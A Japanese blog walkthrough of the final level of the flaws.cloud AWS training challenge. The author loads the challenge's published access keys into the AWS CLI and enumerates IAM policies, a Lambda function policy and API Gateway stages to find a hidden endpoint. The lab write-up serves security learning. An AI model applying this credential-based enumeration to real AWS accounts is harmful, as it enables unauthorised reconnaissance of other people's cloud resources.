chikoblog

やってみたことの掃溜め

flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 6

この記事は下記のブログの続きです! 過去の記事でおこなった手順は省略してますのでご注意ください。

chikoblog.hatenablog.jp

まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。

chikoblog.hatenablog.jp

※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。

Level 6

トップページはこんな感じです。 f:id:Chiko_gorilla:20200330194419p:plain

For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. 」 Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

SecurityAuditポリシーが関連付けられたユーザーアクセスキーを取得しています。他に何ができるか、このAWSアカウントで他に何が見つかるかを確認してください。

今回の問題はAWSアカウントの情報はすでに持っていて、そこからほかに何ができるかを探っていく感じのようです。

とりあえず進めてみる

まずは、トップページにあったAWSアカウント情報をaws configureコマンドでプロファイルの登録をおこないます。

$ aws configure --profile flaws6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]: 

先ほど作成したflaws6プロファイルを使い、aws iam get-userコマンドでIAMの情報を取得します。

$ aws iam get-user --profile flaws6
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::975426262029:user/Level6",
        "CreateDate": "2017-02-26T23:11:16Z"
    }
}

ユーザ名がLevel6であることがわかりました。
次にやることは、IAMユーザLevel6に関連付けられているポリシーをaws iam list-attached-user-policiesコマンドで確認します。

$ aws iam list-attached-user-policies --user-name Level6 --profile flaws6
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]
}

IAMユーザLevel6にはlist_apigatewaysMySecurityAudit、2つのポリシーがアタッチされていることがわかりました。

MySecurityAuditにつきましては、以下のAWSデフォルトポリシーを利用していそうです。 f:id:Chiko_gorilla:20200330230747p:plain

list_apigatewaysにつきましては、おそらくこのアカウント内で作られたオリジナルのポリシーかと思います。

先ほど実行したコマンドでPolicyArnがわかっていますので、aws iam get-policyコマンドの--policy-arnオプションを利用して、さらに詳細な情報を見てみます。

$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile flaws6
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17Z",
        "UpdateDate": "2017-02-20T01:48:17Z"
    }
}

DefaultVersionIdv4とコマンド実行結果で帰ってきてますので、
こちらのバージョンIDのものが実際に適応されているポリシーかと思います。

aws iam get-policy-versionコマンドを利用してポリシーの中身を確認してみます。

$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile flaws6
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17Z"
    }
}

赤字の部分の記載の通り、arn:aws:apigateway:us-west-2::/restapis/*からapigateway:GETを呼び出せそうな感じがします。

ここまでわかればあとはAPIGatewayと紐ずくLambdaの情報を確認するため、aws lambda list-functionsコマンドで まずは、Lambdaの関数名を確認します。

$ aws lambda list-functions --profile flaws6
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
        }
    ]
}

FunctionNameLevel6となっています。これでLambdaで利用されている関数名を判明しました。

次に確認するのは、関数に設定されたポリシーの内容です。こちらはaws lambda get-policyコマンドで確認ができます。

$ aws lambda get-policy --function-name Level6 --profile flaws6
{
    "Policy": {
        "Version":"2012-10-17",
        "Id":"default",
        "Statement":[
            {
                "Sid":"904610a93f593b76ad66ed6ed82c0a8b",
                "Effect":"Allow",
                "Principal":{
                    "Service":"apigateway.amazonaws.com"
                },
                "Action":"lambda:InvokeFunction",
                "Resource":"arn:aws:lambda:us-west-2:975426262029:function:Level6",
                "Condition":{
                    "ArnLike":{
                        "AWS:SourceArn":"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
                    }
                }
            }
        ]
    }",
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

※こちら僕の方で見やすく整形しております。

赤字の部分にあるAWS:SourceArnの値を見ると、
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6というARN情報が分かります。
このARNのs33ppypa75restapi_idかと思います。

仮にrestapi_idだとしたら、API GatewayREST APIを呼び出すに記載されているように以下のURLでブラウザアクセスが可能になります。

https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/

Amazon API Gateway で REST API を呼び出す

現状、REST APIの呼び出しに必要な情報の内、手に入れていないの情報はstage_nameですので、aws apigateway get-stagesコマンドのオプション--rest-api-idstage_nameを調べます。

$ aws apigateway get-stages --rest-api-id "s33ppypa75" --profile flaws6
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": 1488155168,
            "lastUpdatedDate": 1488155168
        }
    ]
}

どうやら、restapi_ids33ppypa75stage_nameProdでいけそうですね。

先程のURLに当てはめてみると以下のようになるかと思います。
以下のURLをブラウザアクセスしてみます。

https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

※ 一番最後のlevel6REST APIで呼び出すLambda関数名です。

アクセスしたWEB画面に以下のような記載があります。 f:id:Chiko_gorilla:20200331022352p:plain

Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/

指示通りにhttp://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/へブラウザアクセスします。

f:id:Chiko_gorilla:20200331022705p:plain

The End

Congratulations on completing the flAWS challenge!
Send me some feedback at scott@summitroute.com
Tweet and tell your friends about it if you learned something from it.

flAWSチャレンジの完了おめでとうございます!と出ているのでLevel 6クリアです!

やってみた感想

セキュリティを意識して、
問題にあったSecurityAuditポリシーのような、読み取り専用権限をユーザーやロールに与えることがよくあるかと思います。

読み取り専用権限しか与えていないから大丈夫!と思っていたら、今回の問題のように自分のIAMポリシーやほかのIAMポリシーから情報を読み取られてしまいますね。

攻撃者は実際の環境に存在するこういった読み取り権限のIAMポリシーでどこまで内容を見れるのかを理解していると外に出していない情報を探せちゃいますね。

flaws.cloudはこの記事で完結となります。皆様も興味があればやってみてください。

flaws.cloudの続編である、
flaws.cloud2があります。そちらも記事にしています! chikoblog.hatenablog.jp